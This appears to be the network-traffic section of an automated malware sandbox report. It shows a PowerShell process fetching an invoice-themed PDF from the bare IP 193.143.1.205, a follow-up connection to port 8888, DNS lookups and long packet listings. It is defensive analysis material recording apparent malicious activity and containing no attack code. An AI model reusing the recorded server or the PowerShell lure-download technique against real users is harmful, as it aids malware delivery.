Jan 11, 2025 01:13:37.311623096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.311624050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.311646938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.311671972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.330564022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.330580950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.330591917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.330614090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.330641031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.330646038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.330657959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.330670118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.330672979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.330683947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.330708027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.330710888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.330718994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.330732107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.330743074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.330745935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.330756903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.330766916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.330777884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.330779076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.330787897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.330809116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.330831051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.345094919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345139027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345150948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345163107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345175028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345185995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345197916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345207930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345216036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.345246077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345256090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345273972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345280886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345287085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.345290899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345315933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345328093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345340014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345343113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.345350981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345381021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.345436096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345447063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345458031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345469952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345480919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.345499992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.345520020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345531940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345541954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345551968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345563889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345566988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.345587015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.345588923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345628023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.345664024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345674992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345685959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345695972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345706940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345710039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.345743895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.345784903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345802069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345812082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345823050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345834017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345846891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345854044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.345859051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345891953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.345902920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345941067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345951080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.345952034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345977068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345988035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.345993996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.345999002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.346029043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.346097946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.346107960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.346118927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.346128941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.346139908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.346144915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.346160889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.346184015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.346240044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.346265078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.346278906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.346288919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.346293926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.346297979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.346323013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.346328020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.346333981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.346345901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.346359015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.346369028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.346374035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.346399069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.346421957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.346477032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.346488953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.346513987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.346520901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.346525908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.346537113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.346549988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.346573114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.346595049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.362787008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.362798929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.362811089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.362869024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.362873077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.362880945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.362891912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.362898111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.362905025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.362934113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.362958908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.362961054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.362972975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.362987041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.362993956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.363009930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.363018036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.363022089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.363039017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.363039970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.363049984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.363074064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.363078117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.363106012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.386410952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.386873007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.386930943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.386946917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.387028933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.387073994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.387109041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.387160063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.387193918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.387207985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.387228012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.387260914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.387268066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.387294054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.387341022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.387353897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.387388945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.387423992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.387435913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.387455940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.387487888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.387502909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.387521982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.387557983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.387567043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.387586117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.387629986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.400393009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.400475979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.400511026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.400544882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.400562048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.400578976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.400599003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.400612116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.400645971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.400657892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.419394016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.419431925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.419444084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.419456005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.419492960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.419504881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.419508934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.419517040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.419528961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.419539928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.419553041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.419553995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.419564962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.419576883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.419589996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.419600964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.419620991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.419645071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.433990002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.434007883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.434020042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.434065104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.434076071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.434081078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.434108973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.434123993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.434140921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.434146881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.434149981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.434158087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.434165001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.434170008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.434170961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.434180975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.434191942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.434204102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.434215069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.434215069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.434227943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.434248924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.434267044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.450164080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.955913067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:38.448932886 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:38.453864098 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:38.453955889 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:38.455199003 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:38.460064888 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:39.245954990 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:39.294365883 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:39.485090971 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:13:51.613257885 CET	54013	53	192.168.2.4	1.1.1.1
Jan 11, 2025 01:14:08.161185980 CET	54025	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 01:13:51.613257885 CET	192.168.2.4	1.1.1.1	0xac2f	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:14:08.161185980 CET	192.168.2.4	1.1.1.1	0x1528	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 01:13:51.620268106 CET	1.1.1.1	192.168.2.4	0xac2f	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:14:08.168531895 CET	1.1.1.1	192.168.2.4	0x1528	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7380	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:13:35.868833065 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 01:13:36.681272984 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:13:36 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 01:13:36.681298971 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 01:13:36.681317091 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 01:13:36.681329012 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 01:13:36.681339979 CET	448	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 01:13:36.681346893 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 01:13:36.681356907 CET	224	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`
Jan 11, 2025 01:13:36.681368113 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
